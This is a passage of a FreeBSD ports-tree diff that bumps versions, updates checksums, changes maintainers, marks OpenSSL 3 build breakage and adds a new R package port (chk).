-include/rocksdb/trace_reader_writer.h -include/rocksdb/trace_record.h -include/rocksdb/trace_record_result.h -include/rocksdb/transaction_log.h -include/rocksdb/types.h -include/rocksdb/unique_id.h -include/rocksdb/universal_compaction.h -include/rocksdb/utilities/agg_merge.h -include/rocksdb/utilities/backup_engine.h -include/rocksdb/utilities/cache_dump_load.h -include/rocksdb/utilities/checkpoint.h -include/rocksdb/utilities/convenience.h -include/rocksdb/utilities/customizable_util.h -include/rocksdb/utilities/db_ttl.h -include/rocksdb/utilities/debug.h -include/rocksdb/utilities/env_mirror.h -include/rocksdb/utilities/info_log_finder.h -include/rocksdb/utilities/ldb_cmd.h -include/rocksdb/utilities/ldb_cmd_execute_result.h -include/rocksdb/utilities/leveldb_options.h -include/rocksdb/utilities/lua/rocks_lua_custom_library.h -include/rocksdb/utilities/lua/rocks_lua_util.h -include/rocksdb/utilities/memory_util.h -include/rocksdb/utilities/object_registry.h -include/rocksdb/utilities/optimistic_transaction_db.h -include/rocksdb/utilities/option_change_migration.h -include/rocksdb/utilities/options_type.h -include/rocksdb/utilities/options_util.h -include/rocksdb/utilities/replayer.h -include/rocksdb/utilities/sim_cache.h -include/rocksdb/utilities/stackable_db.h -include/rocksdb/utilities/table_properties_collectors.h -include/rocksdb/utilities/transaction.h -include/rocksdb/utilities/transaction_db.h -include/rocksdb/utilities/transaction_db_mutex.h -include/rocksdb/utilities/write_batch_with_index.h -include/rocksdb/version.h -include/rocksdb/wal_filter.h -include/rocksdb/write_batch.h -include/rocksdb/write_batch_base.h -include/rocksdb/write_buffer_manager.h -lib/librocksdb-lite.a -lib/librocksdb-lite.so -lib/librocksdb-lite.so.7 -lib/librocksdb-lite.so.%%SHLIB_VER%% -lib/librocksdb-lite.so.%%PORTVERSION%% -lib/librocksdb-lite_tools.so -libdata/pkgconfig/rocksdb.pc diff --git a/databases/virtuoso/Makefile b/databases/virtuoso/Makefile index 043e321b348..984f9b6e60c 100644 --- a/databases/virtuoso/Makefile +++ b/databases/virtuoso/Makefile @@ -1,6 +1,6 @@ PORTNAME= virtuoso PORTVERSION= 7.2.5 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= databases MASTER_SITES= SF DISTNAME= ${PORTNAME}-opensource-${PORTVERSION} diff --git a/databases/xrootd/Makefile b/databases/xrootd/Makefile index 7f5f7b9da20..cc2e9c8ba00 100644 --- a/databases/xrootd/Makefile +++ b/databases/xrootd/Makefile @@ -17,6 +17,8 @@ BUILD_DEPENDS= bash:shells/bash LIB_DEPENDS= libcurl.so:ftp/curl USES= cmake cpe gnome localbase:ldflags pkgconfig readline shebangfix ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to build with OpenSSL 3.0.0 and later SHEBANG_GLOB= *.sh SHEBANG_FILES= utils/cms_monPerf USE_GNOME= libxml2 diff --git a/deskutils/goesimage/Makefile b/deskutils/goesimage/Makefile index e0e989c995c..547891e8f05 100644 --- a/deskutils/goesimage/Makefile +++ b/deskutils/goesimage/Makefile @@ -1,5 +1,6 @@ PORTNAME= goesimage DISTVERSION= 0.1.3 +PORTREVISION= 1 CATEGORIES= deskutils MAINTAINER= yuri@FreeBSD.org diff --git a/deskutils/py-paperless/Makefile b/deskutils/py-paperless/Makefile index 8bde542ddc4..39ac4af0470 100644 --- a/deskutils/py-paperless/Makefile +++ b/deskutils/py-paperless/Makefile @@ -1,6 +1,6 @@ PORTNAME= paperless PORTVERSION= 2.7.0 -PORTREVISION= 13 +PORTREVISION= 14 CATEGORIES= deskutils python PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/deskutils/walld/Makefile b/deskutils/walld/Makefile index 8357fcfa468..3bae1ab3442 100644 --- a/deskutils/walld/Makefile +++ b/deskutils/walld/Makefile @@ -1,5 +1,6 @@ PORTNAME= walld DISTVERSION= 1.4.4 +PORTREVISION= 1 CATEGORIES= deskutils MAINTAINER= Dotz0cat@gmail.com diff --git a/deskutils/xcalendar/Makefile b/deskutils/xcalendar/Makefile index 9fbf6755b88..1366464c344 100644 --- a/deskutils/xcalendar/Makefile +++ b/deskutils/xcalendar/Makefile @@ -5,7 +5,7 @@ CATEGORIES= deskutils MASTER_SITES= PORTS_JP DISTNAME= ${PORTNAME}-4.0+i18n -MAINTAINER= ports@FreeBSD.org +MAINTAINER= cy@FreeBSD.org COMMENT= Calendar with a notebook for X11 (internationalized version) WRKSRC= ${WRKDIR}/${PORTNAME} diff --git a/deskutils/xcalendar/files/patch-xcalendar.c b/deskutils/xcalendar/files/patch-xcalendar.c index a36973d4be2..f69841d2524 100644 --- a/deskutils/xcalendar/files/patch-xcalendar.c +++ b/deskutils/xcalendar/files/patch-xcalendar.c @@ -1,5 +1,5 @@ ---- xcalendar.c.dist Tue Jul 4 06:59:01 1995 -+++ xcalendar.c Mon Mar 12 20:53:10 2001 +--- xcalendar.c.orig 1995-07-03 14:59:01.000000000 -0700 ++++ xcalendar.c 2023-04-30 21:04:24.168420000 -0700 @@ -1091,10 +1091,10 @@ struct tm * gettime() @@ -34,7 +34,7 @@ + if (sizeof(buf) == len) { + buf = XtRealloc(buf, len + 1); + } -+ buf[len] = NULL; ++ buf[len] = 0; + start = buf; diff --git a/deskutils/xcalendar/files/patch-xcalendar.h b/deskutils/xcalendar/files/patch-xcalendar.h index 5aeac037672..65c4e614757 100644 --- a/deskutils/xcalendar/files/patch-xcalendar.h +++ b/deskutils/xcalendar/files/patch-xcalendar.h @@ -1,5 +1,5 @@ ---- xcalendar.h.orig Sun Oct 1 12:21:42 1995 -+++ xcalendar.h Mon Mar 12 20:54:02 2001 +--- xcalendar.h.orig 1995-09-30 20:21:42.000000000 -0700 ++++ xcalendar.h 2023-04-30 21:02:14.402254000 -0700 @@ -75,7 +75,7 @@ #include #endif diff --git a/devel/Makefile b/devel/Makefile index 352cf08370f..923c0e8a957 100644 --- a/devel/Makefile +++ b/devel/Makefile @@ -24,6 +24,7 @@ SUBDIR += R-cran-callr SUBDIR += R-cran-caret SUBDIR += R-cran-checkmate + SUBDIR += R-cran-chk SUBDIR += R-cran-chron SUBDIR += R-cran-classInt SUBDIR += R-cran-cli @@ -928,6 +929,7 @@ SUBDIR += gtranslator SUBDIR += guichan SUBDIR += guile-lib + SUBDIR += gum SUBDIR += gumbo SUBDIR += gvfs SUBDIR += gvp @@ -4420,6 +4422,7 @@ SUBDIR += py-cliapp SUBDIR += py-click SUBDIR += py-click-completion + SUBDIR += py-click-creds SUBDIR += py-click-default-group SUBDIR += py-click-default-group-wheel SUBDIR += py-click-log @@ -4562,6 +4565,7 @@ SUBDIR += py-eggtestinfo SUBDIR += py-ejson SUBDIR += py-enlighten + SUBDIR += py-entrypoint2 SUBDIR += py-entrypoints SUBDIR += py-enum-compat SUBDIR += py-envier @@ -4662,6 +4666,7 @@ SUBDIR += py-gelidum SUBDIR += py-genson SUBDIR += py-genty + SUBDIR += py-geocoder SUBDIR += py-geojson SUBDIR += py-get-reader SUBDIR += py-gevent @@ -5204,6 +5209,7 @@ SUBDIR += py-pyinotify SUBDIR += py-pyinquirer SUBDIR += py-pyinstaller + SUBDIR += py-pyintelowl SUBDIR += py-pyjq SUBDIR += py-pyjsparser SUBDIR += py-pylama @@ -5390,6 +5396,7 @@ SUBDIR += py-rapidfuzz SUBDIR += py-rapidfuzz-capi SUBDIR += py-rapidfuzz2 + SUBDIR += py-ratelim SUBDIR += py-ratelimiter SUBDIR += py-rauth SUBDIR += py-raven @@ -5568,6 +5575,7 @@ SUBDIR += py-timelib SUBDIR += py-timeout-decorator SUBDIR += py-tinyarray + SUBDIR += py-tinynetrc SUBDIR += py-tinyrpc SUBDIR += py-tipper SUBDIR += py-tokenize-rt @@ -5651,6 +5659,7 @@ SUBDIR += py-venusian SUBDIR += py-verboselogs SUBDIR += py-versioneer + SUBDIR += py-versioningit SUBDIR += py-versiontools SUBDIR += py-verspec SUBDIR += py-vine @@ -7722,8 +7731,6 @@ SUBDIR += zfp SUBDIR += zls SUBDIR += zookeeper - SUBDIR += zpu-binutils - SUBDIR += zpu-gcc SUBDIR += zthread SUBDIR += zycore-c SUBDIR += zydis diff --git a/devel/R-cran-chk/Makefile b/devel/R-cran-chk/Makefile new file mode 100644 index 00000000000..4e9557de81c --- /dev/null +++ b/devel/R-cran-chk/Makefile @@ -0,0 +1,19 @@ +PORTNAME= chk +PORTVERSION= 0.8.1 +CATEGORIES= devel +DISTNAME= ${PORTNAME}_${PORTVERSION} + +MAINTAINER= wen@FreeBSD.org +COMMENT= Check User-Supplied Function Arguments +WWW= https://github.com/poissonconsulting/chk + +LICENSE= MIT + +CRAN_DEPENDS= R-cran-rlang>0:devel/R-cran-rlang \ + R-cran-lifecycle>0:devel/R-cran-lifecycle +BUILD_DEPENDS= ${CRAN_DEPENDS} +RUN_DEPENDS= ${CRAN_DEPENDS} + +USES= cran:auto-plist,compiles + +.include diff --git a/devel/R-cran-chk/distinfo b/devel/R-cran-chk/distinfo new file mode 100644 index 00000000000..8e89e7ba2d6 --- /dev/null +++ b/devel/R-cran-chk/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682672571 +SHA256 (chk_0.8.1.tar.gz) = fc567b2484f45443a639a6bf0ac6683bce33b78a9abebb75465db4a59154835b +SIZE (chk_0.8.1.tar.gz) = 83677 diff --git a/devel/R-cran-chk/pkg-descr b/devel/R-cran-chk/pkg-descr new file mode 100644 index 00000000000..f000f5e0c6f --- /dev/null +++ b/devel/R-cran-chk/pkg-descr @@ -0,0 +1,3 @@ +For developers to check user-supplied function arguments. It is +designed to be simple, fast and customizable. Error messages +follow the tidyverse style guide. diff --git a/devel/R-cran-cli/Makefile b/devel/R-cran-cli/Makefile index 0649d3f1757..ebdba8e9ba9 100644 --- a/devel/R-cran-cli/Makefile +++ b/devel/R-cran-cli/Makefile @@ -1,10 +1,9 @@ PORTNAME= cli -PORTVERSION= 3.6.0 -PORTREVISION= 1 +PORTVERSION= 3.6.1 CATEGORIES= devel DISTNAME= ${PORTNAME}_${PORTVERSION} -MAINTAINER= tota@FreeBSD.org +MAINTAINER= ports@FreeBSD.org COMMENT= Helpers for Developing Command Line Interfaces WWW= https://cran.r-project.org/web/packages/cli/ diff --git a/devel/R-cran-cli/distinfo b/devel/R-cran-cli/distinfo index 6f028fd2a48..56c89b0b9ac 100644 --- a/devel/R-cran-cli/distinfo +++ b/devel/R-cran-cli/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1677387848 -SHA256 (cli_3.6.0.tar.gz) = b6078131803043d53d4e670aa3a0506f614e0b40fda8e0102afd48a6188ab896 -SIZE (cli_3.6.0.tar.gz) = 565150 +TIMESTAMP = 1682389847 +SHA256 (cli_3.6.1.tar.gz) = be3006cec7e67f9ae25e21b4658c4bec680038c2ef7467df5f14da3311a05e36 +SIZE (cli_3.6.1.tar.gz) = 567293 diff --git a/devel/R-cran-rlang/Makefile b/devel/R-cran-rlang/Makefile index e5d11f75b16..c23f56117d4 100644 --- a/devel/R-cran-rlang/Makefile +++ b/devel/R-cran-rlang/Makefile @@ -1,10 +1,9 @@ PORTNAME= rlang -PORTVERSION= 1.1.0 -PORTREVISION= 1 +PORTVERSION= 1.1.1 CATEGORIES= devel DISTNAME= ${PORTNAME}_${PORTVERSION} -MAINTAINER= tota@FreeBSD.org +MAINTAINER= wen@FreeBSD.org COMMENT= Functions for Base Types and Core R and 'Tidyverse' Features WWW= https://cran.r-project.org/web/packages/rlang/ diff --git a/devel/R-cran-rlang/distinfo b/devel/R-cran-rlang/distinfo index b266dea981e..26823aed904 100644 --- a/devel/R-cran-rlang/distinfo +++ b/devel/R-cran-rlang/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681606297 -SHA256 (rlang_1.1.0.tar.gz) = f89859d91c9edc05fd7ccf21163fe53ad58da907ee273a93d5ab004a8649335b -SIZE (rlang_1.1.0.tar.gz) = 761991 +TIMESTAMP = 1682900626 +SHA256 (rlang_1.1.1.tar.gz) = 5e5ec9a7796977216c39d94b1e342e08f0681746657067ba30de11b8fa8ada99 +SIZE (rlang_1.1.1.tar.gz) = 762533 diff --git a/devel/aws-c-common/Makefile b/devel/aws-c-common/Makefile index 879a1c152bc..7a626de5e54 100644 --- a/devel/aws-c-common/Makefile +++ b/devel/aws-c-common/Makefile @@ -1,6 +1,6 @@ PORTNAME= aws-c-common DISTVERSIONPREFIX= v -DISTVERSION= 0.8.17 +DISTVERSION= 0.8.19 PORTEPOCH= 1 CATEGORIES= devel diff --git a/devel/aws-c-common/distinfo b/devel/aws-c-common/distinfo index e57b3ed3753..57c9038c119 100644 --- a/devel/aws-c-common/distinfo +++ b/devel/aws-c-common/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681759057 -SHA256 (awslabs-aws-c-common-v0.8.17_GH0.tar.gz) = 25be14ab939fbc45f4cb48d2f2557d70e85afff01b8b7232684bf79e06cf53fd -SIZE (awslabs-aws-c-common-v0.8.17_GH0.tar.gz) = 510360 +TIMESTAMP = 1682669477 +SHA256 (awslabs-aws-c-common-v0.8.19_GH0.tar.gz) = 022ff2e78536d452c4c4699f9cbd918140d51d5dccace47d41d5daaef49a1818 +SIZE (awslabs-aws-c-common-v0.8.19_GH0.tar.gz) = 510554 diff --git a/devel/aws-c-io/Makefile b/devel/aws-c-io/Makefile index 613c1f4f178..78e756d5877 100644 --- a/devel/aws-c-io/Makefile +++ b/devel/aws-c-io/Makefile @@ -1,7 +1,10 @@ PORTNAME= aws-c-io DISTVERSIONPREFIX= v DISTVERSION= 0.13.21 +PORTREVISION= 1 CATEGORIES= devel +PATCH_SITES= https://github.com/awslabs/aws-c-io/commit/ +PATCHFILES= 4dc663c0c3f7cf1e3aebb1d8e28dd48f012e3db8.patch:-p1 MAINTAINER= eduardo@FreeBSD.org COMMENT= Event driven framework for implementing application protocols @@ -15,15 +18,10 @@ LIB_DEPENDS= libaws-c-cal.so:security/aws-c-cal \ libs2n.so:security/s2n-tls USES= cmake:testing compiler:c11 ssl - USE_GITHUB= yes GH_ACCOUNT= awslabs - USE_LDCONFIG= yes -# do-test: fails, "ld: error: lib/libaws-c-cal.so.1.0.0: undefined reference to aws_device_random_buffer_append [--no-allow-shlib-undefined]" -# see also: https://github.com/awslabs/aws-c-io/issues/565 - CMAKE_ARGS+= -DCMAKE_INSTALL_LIBDIR=${LOCALBASE}/lib CMAKE_ON= BUILD_SHARED_LIBS CMAKE_OFF= BUILD_TESTING diff --git a/devel/aws-c-io/distinfo b/devel/aws-c-io/distinfo index 556e2007f6b..337f33ce0e1 100644 --- a/devel/aws-c-io/distinfo +++ b/devel/aws-c-io/distinfo @@ -1,3 +1,5 @@ -TIMESTAMP = 1681718748 +TIMESTAMP = 1682671191 SHA256 (awslabs-aws-c-io-v0.13.21_GH0.tar.gz) = f7811e2dc9ce2875410cf5eee45d1d4a3304d597a6df866384cbd98ed6341bd5 SIZE (awslabs-aws-c-io-v0.13.21_GH0.tar.gz) = 647300 +SHA256 (4dc663c0c3f7cf1e3aebb1d8e28dd48f012e3db8.patch) = 0492daa0d7ce0b6c8252275588650932f6188e5c9033805a0b59211fee2b19d9 +SIZE (4dc663c0c3f7cf1e3aebb1d8e28dd48f012e3db8.patch) = 1197 diff --git a/devel/bazel/Makefile b/devel/bazel/Makefile index 29f1b671891..90e575e3d2c 100644 --- a/devel/bazel/Makefile +++ b/devel/bazel/Makefile @@ -15,6 +15,7 @@ BROKEN_armv6= fails to package: cp: bazel: No such file or directory BROKEN_armv7= fails to package: cp: bazel: No such file or directory BROKEN_i386= fails to build: ./src/tools/singlejar/mapped_file_posix.inc:31:2: error: This code for 64 bit Unix BROKEN_FreeBSD_12_powerpc64= fails to compile: Action failed to execute: java.io.IOException: Cannot run program /usr/bin/clang +BROKEN_FreeBSD_14= fails to compile: error: builtin __has_trivial_destructor is deprecated; use __is_trivially_destructible instead BUILD_DEPENDS= bash:shells/bash \ zip:archivers/zip diff --git a/devel/bear/Makefile b/devel/bear/Makefile index 5592c994767..703cd4632e3 100644 --- a/devel/bear/Makefile +++ b/devel/bear/Makefile @@ -1,6 +1,5 @@ PORTNAME= bear -DISTVERSION= 3.1.1 -PORTREVISION= 2 +DISTVERSION= 3.1.2 CATEGORIES= devel MAINTAINER= jrm@FreeBSD.org diff --git a/devel/bear/distinfo b/devel/bear/distinfo index 1e2f286377d..83b3e66bea8 100644 --- a/devel/bear/distinfo +++ b/devel/bear/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1676778098 -SHA256 (rizsotto-Bear-3.1.1_GH0.tar.gz) = 52f8ee68ee490e5f2714eebad9e1288e89c82b9fd7bf756f600cff03de63a119 -SIZE (rizsotto-Bear-3.1.1_GH0.tar.gz) = 127082 +TIMESTAMP = 1682950933 +SHA256 (rizsotto-Bear-3.1.2_GH0.tar.gz) = 5f94e98480bd8576a64cd1d59649f34b09b4e02a81f1d983c92af1113e061fc3 +SIZE (rizsotto-Bear-3.1.2_GH0.tar.gz) = 127197 diff --git a/devel/bugzilla44/Makefile b/devel/bugzilla44/Makefile index a25faf0111f..0e88f2107a7 100644 --- a/devel/bugzilla44/Makefile +++ b/devel/bugzilla44/Makefile @@ -1,6 +1,6 @@ PORTNAME= bugzilla PORTVERSION= 4.4.13 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= devel MASTER_SITES= MOZILLA/webtools MOZILLA/webtools/archived diff --git a/devel/bugzilla50/Makefile b/devel/bugzilla50/Makefile index dde7813709c..d7886fd857b 100644 --- a/devel/bugzilla50/Makefile +++ b/devel/bugzilla50/Makefile @@ -1,6 +1,6 @@ PORTNAME= bugzilla PORTVERSION= 5.0.4 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= devel MASTER_SITES= MOZILLA/webtools MOZILLA/webtools/archived diff --git a/devel/build2/Makefile b/devel/build2/Makefile index 34a2a70b22f..329a5409f2a 100644 --- a/devel/build2/Makefile +++ b/devel/build2/Makefile @@ -15,6 +15,11 @@ BROKEN_i386= error: timestamp is not lock-free on this architecture USES= gmake pkgconfig sqlite tar:xz +# warning: clang@/usr/local/libexec/ccache/clang looks like a ccache wrapper +# info: ccache cannot be used as a C compiler +# info: use config.c to override +NO_CCACHE= yes + pre-build: # phase 1 @cd ${WRKSRC}/build2 && ${SETENV} ${MAKE_ENV} ${MAKE_CMD} ${MAKE_FLAGS} bootstrap.gmake ${_MAKE_JOBS} diff --git a/devel/cirrus-cli/Makefile b/devel/cirrus-cli/Makefile index 04467105809..b9081dbde94 100644 --- a/devel/cirrus-cli/Makefile +++ b/devel/cirrus-cli/Makefile @@ -1,5 +1,5 @@ PORTNAME= cirrus-cli -PORTVERSION= 0.96.1 +PORTVERSION= 0.97.0 DISTVERSIONPREFIX= v CATEGORIES= devel MASTER_SITES= https://raw.githubusercontent.com/${GH_ACCOUNT}/${GH_PROJECT}/${DISTVERSIONFULL}/:gomod diff --git a/devel/cirrus-cli/distinfo b/devel/cirrus-cli/distinfo index 54047990c64..9399463c193 100644 --- a/devel/cirrus-cli/distinfo +++ b/devel/cirrus-cli/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1682508544 -SHA256 (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.96.1_GH0/go.mod) = f7c83ce44d927cead2f867f1c99ac18f69ac39e82b846396d6ee21ac2a21a567 -SIZE (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.96.1_GH0/go.mod) = 6848 -SHA256 (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.96.1_GH0/cirruslabs-cirrus-cli-v0.96.1_GH0.tar.gz) = a6841086def3c568585c1e4f2010cc88dc1c5ca466f4ca74fadaa22869aecb70 -SIZE (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.96.1_GH0/cirruslabs-cirrus-cli-v0.96.1_GH0.tar.gz) = 712503 +TIMESTAMP = 1682786461 +SHA256 (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.97.0_GH0/go.mod) = d7d17d6c3613f05b32cc9d94986b553ba717365ce3275d92f656088dca6b516e +SIZE (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.97.0_GH0/go.mod) = 6848 +SHA256 (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.97.0_GH0/cirruslabs-cirrus-cli-v0.97.0_GH0.tar.gz) = 5bdae815ef9dc89ab9855989b133db8b02f5e3acdff256d32c4afe6c7e2e103f +SIZE (go/devel_cirrus-cli/cirruslabs-cirrus-cli-v0.97.0_GH0/cirruslabs-cirrus-cli-v0.97.0_GH0.tar.gz) = 712576 diff --git a/devel/cjose/Makefile b/devel/cjose/Makefile index 7c0d1b8f210..52f27bd7273 100644 --- a/devel/cjose/Makefile +++ b/devel/cjose/Makefile @@ -13,6 +13,8 @@ LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libjansson.so:devel/jansson USES= compiler:c++11-lang libtool pathfix pkgconfig ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires OpenSSL 3.0.0 deprecated RSA_ routines USE_LDCONFIG= yes INSTALL_TARGET= install-strip diff --git a/devel/cvise/Makefile b/devel/cvise/Makefile index 9e59e58723c..ffd6a571a7c 100644 --- a/devel/cvise/Makefile +++ b/devel/cvise/Makefile @@ -1,5 +1,5 @@ PORTNAME= cvise -PORTVERSION= 2.7.0 +PORTVERSION= 2.8.0 DISTVERSIONPREFIX= v CATEGORIES= devel python @@ -18,8 +18,7 @@ RUN_DEPENDS= bash:shells/bash \ ${PYTHON_PKGNAMEPREFIX}pebble>0:devel/py-pebble@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}chardet>0:textproc/py-chardet@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}psutil>0:sysutils/py-psutil@${PY_FLAVOR} -TEST_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pytest>=0:devel/py-pytest@${PY_FLAVOR} \ - ${PYTHON_PKGNAMEPREFIX}pytest-flake8>=0:devel/py-pytest-flake8@${PY_FLAVOR} +TEST_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pytest-flake8>=0:devel/py-pytest-flake8@${PY_FLAVOR} # gcc:lang/gcc # gcc required for tests to pass. framework errors: # Error: lang/gcc should not be depended upon. Instead, use USE_GCC. @@ -28,17 +27,14 @@ TEST_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pytest>=0:devel/py-pytest@${PY_FLAVOR} \ # 260 passed, 1 skipped in 64.82 seconds USES= cmake compiler llvm:min=15,build,run python:3.6+ shebangfix -CMAKE_ARGS+= -DLLVM_DIR:PATH=${LLVM_PREFIX}/lib/cmake/llvm -CMAKE_ARGS+= -DClang_DIR:PATH=${LLVM_PREFIX}/lib/cmake/clang -SHEBANG_FILES= cvise-delta.py cvise.py USE_GITHUB= yes GH_ACCOUNT= marxin +USE_PYTHON= pytest -PATCH_SITES= https://github.com/${GH_ACCOUNT}/${GH_PROJECT}/commit/ -PATCHFILES+= ff4e51e093a53615362f77c956d90f0f728c12e5.patch:-p1 -PATCHFILES+= 80476310943053aa97969d6410743bddb2d1c770.patch:-p1 -PATCHFILES+= c560ef24eae3946573317d20759938209fb882fa.patch:-p1 -PATCHFILES+= 222313aa5467d22ba58d3fdc3198abdf75a07f0e.patch:-p1 +SHEBANG_FILES= cvise-delta.py cvise.py + +CMAKE_ARGS+= -DLLVM_DIR:PATH=${LLVM_PREFIX}/lib/cmake/llvm +CMAKE_ARGS+= -DClang_DIR:PATH=${LLVM_PREFIX}/lib/cmake/clang .include diff --git a/devel/cvise/distinfo b/devel/cvise/distinfo index 80b22f27a87..9cb2ccfaa05 100644 --- a/devel/cvise/distinfo +++ b/devel/cvise/distinfo @@ -1,11 +1,3 @@ -TIMESTAMP = 1677785583 -SHA256 (marxin-cvise-v2.7.0_GH0.tar.gz) = a0468bb16b99c9bc67b7cdd6557a79d441e5e1f253fdf7d73f21c15f9dc3b444 -SIZE (marxin-cvise-v2.7.0_GH0.tar.gz) = 269155 -SHA256 (ff4e51e093a53615362f77c956d90f0f728c12e5.patch) = 260fec0128a6c5e9ff5b8a3cd767c100de38683f23bbad64ae2debeb69eb61ed -SIZE (ff4e51e093a53615362f77c956d90f0f728c12e5.patch) = 1316 -SHA256 (80476310943053aa97969d6410743bddb2d1c770.patch) = 327a7ca6b8eccb23dc553bc509995ed5c893fd6df0d24f8f7c9dd8ae233eeea0 -SIZE (80476310943053aa97969d6410743bddb2d1c770.patch) = 1924 -SHA256 (c560ef24eae3946573317d20759938209fb882fa.patch) = 3f1b06d3cef99edda363305a189c636de09d123b3504ce7f6e71cc8db453d4bc -SIZE (c560ef24eae3946573317d20759938209fb882fa.patch) = 837 -SHA256 (222313aa5467d22ba58d3fdc3198abdf75a07f0e.patch) = def653fe4309d4f0d1196517934e704f681e4b2295983477588fe052c4c73f3e -SIZE (222313aa5467d22ba58d3fdc3198abdf75a07f0e.patch) = 877 +TIMESTAMP = 1682787601 +SHA256 (marxin-cvise-v2.8.0_GH0.tar.gz) = cb0bd15885b18b4e79be216c6ca7bed546defc0e9b533d6103868580c690a1a1 +SIZE (marxin-cvise-v2.8.0_GH0.tar.gz) = 269582 diff --git a/devel/electron22/Makefile b/devel/electron22/Makefile index 5d5767fb718..849e05479a7 100644 --- a/devel/electron22/Makefile +++ b/devel/electron22/Makefile @@ -1,7 +1,6 @@ PORTNAME= electron DISTVERSIONPREFIX= v DISTVERSION= ${ELECTRON_VER:S/-beta./.b/} -PORTREVISION= 1 CATEGORIES= devel MASTER_SITES= https://github.com/tagattie/FreeBSD-Electron/releases/download/v22.2.0/:chromium \ https://commondatastorage.googleapis.com/chromium-nodejs/:chromium_node \ @@ -222,7 +221,7 @@ REACTIVEOBJC_VER= 74ab5baccc6f7202c8ac69a8d1e152c29dc1ea76 # See ${WRKSRC}/electron/DEPS for MANTLE_VER MANTLE_VER= 78d3966b3c331292ea29ec38661b25df0a245948 -YARN_TIMESTAMP= 1681568942 +YARN_TIMESTAMP= 1682663940 .include "Makefile.version" .include # required for COMPILER_VERSION diff --git a/devel/electron22/Makefile.version b/devel/electron22/Makefile.version index 37de820c4fe..629fd61eab1 100644 --- a/devel/electron22/Makefile.version +++ b/devel/electron22/Makefile.version @@ -1,2 +1,2 @@ -ELECTRON_VER= 22.3.6 +ELECTRON_VER= 22.3.7 ELECTRON_VER_MAJOR= ${ELECTRON_VER:C/\..*//} diff --git a/devel/electron22/distinfo b/devel/electron22/distinfo index d65639a77cd..4ddfcdfdd4f 100644 --- a/devel/electron22/distinfo +++ b/devel/electron22/distinfo @@ -1,14 +1,14 @@ -TIMESTAMP = 1681569109 +TIMESTAMP = 1682664964 SHA256 (electron/chromium-108.0.5359.215.tar.xz) = aba0730b347269efda217affe804f6fced296aa02f810c8c9a6fd7d46cd7bf9a SIZE (electron/chromium-108.0.5359.215.tar.xz) = 1584734880 SHA256 (electron/f8b5da24d33317766d3933fb6711b0603fc4fb6f) = 63706737ca75e0e5c97885186b2a7ab019ca71d1315ee08870193bbfa7486bfc SIZE (electron/f8b5da24d33317766d3933fb6711b0603fc4fb6f) = 9900677 SHA256 (electron/336e775eec536b2d785cc80eff6ac39051931286) = a2ca2962daf482a8f943163541e1c73ba4b2694fabcd2510981f2db4eda493c8 SIZE (electron/336e775eec536b2d785cc80eff6ac39051931286) = 32624734 -SHA256 (electron/electron-yarn-cache-22.3.6.tar.xz) = 21cd90eea32dc0902831f9c5680b0cadc6388e9e9d44fcdf21bf65450e4b2979 -SIZE (electron/electron-yarn-cache-22.3.6.tar.xz) = 38901104 -SHA256 (electron/electron-electron-v22.3.6_GH0.tar.gz) = 58018da98189a0a0c35a4e89db2e3dd4f6af9ab923297dbf63e3e5ade8dd74dc -SIZE (electron/electron-electron-v22.3.6_GH0.tar.gz) = 10574442 +SHA256 (electron/electron-yarn-cache-22.3.7.tar.xz) = 7103735f1e82d32af8cc57f258f13e0af8e69732d47a42aeca27a97933c7038d +SIZE (electron/electron-yarn-cache-22.3.7.tar.xz) = 38905036 +SHA256 (electron/electron-electron-v22.3.7_GH0.tar.gz) = 8ac137bc3c82342547bbea55da9f841a3441c5b8b0a42291fb88794c058bb3f0 +SIZE (electron/electron-electron-v22.3.7_GH0.tar.gz) = 10592235 SHA256 (electron/nodejs-node-v16.17.1_GH0.tar.gz) = e63378aa6aa18b9e05486e46eaca6c6e09904366e5100d7e04c6dbd344a42f60 SIZE (electron/nodejs-node-v16.17.1_GH0.tar.gz) = 90485310 SHA256 (electron/nodejs-nan-16fa32231e2ccd89d2804b3f765319128b20c4ac_GH0.tar.gz) = 3807ae6a1e451a29f068540472f100f9718d457c60ac62f2f8469d1d57475d39 diff --git a/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.cc b/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.cc index 382b3b8541c..8d75e4f3911 100644 --- a/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.cc +++ b/devel/electron22/files/patch-electron_shell_browser_ui_views_menu__bar.cc @@ -1,4 +1,4 @@ ---- electron/shell/browser/ui/views/menu_bar.cc.orig 2023-01-24 16:58:16 UTC +--- electron/shell/browser/ui/views/menu_bar.cc.orig 2023-04-26 08:11:51 UTC +++ electron/shell/browser/ui/views/menu_bar.cc @@ -13,7 +13,7 @@ #include "ui/views/background.h" @@ -9,7 +9,7 @@ #include "ui/gtk/gtk_util.h" // nogncheck #endif -@@ -211,7 +211,7 @@ void MenuBar::ButtonPressed(size_t id, const ui::Event +@@ -218,7 +218,7 @@ void MenuBar::ViewHierarchyChanged( void MenuBar::RefreshColorCache(const ui::NativeTheme* theme) { if (theme) { @@ -18,7 +18,7 @@ background_color_ = 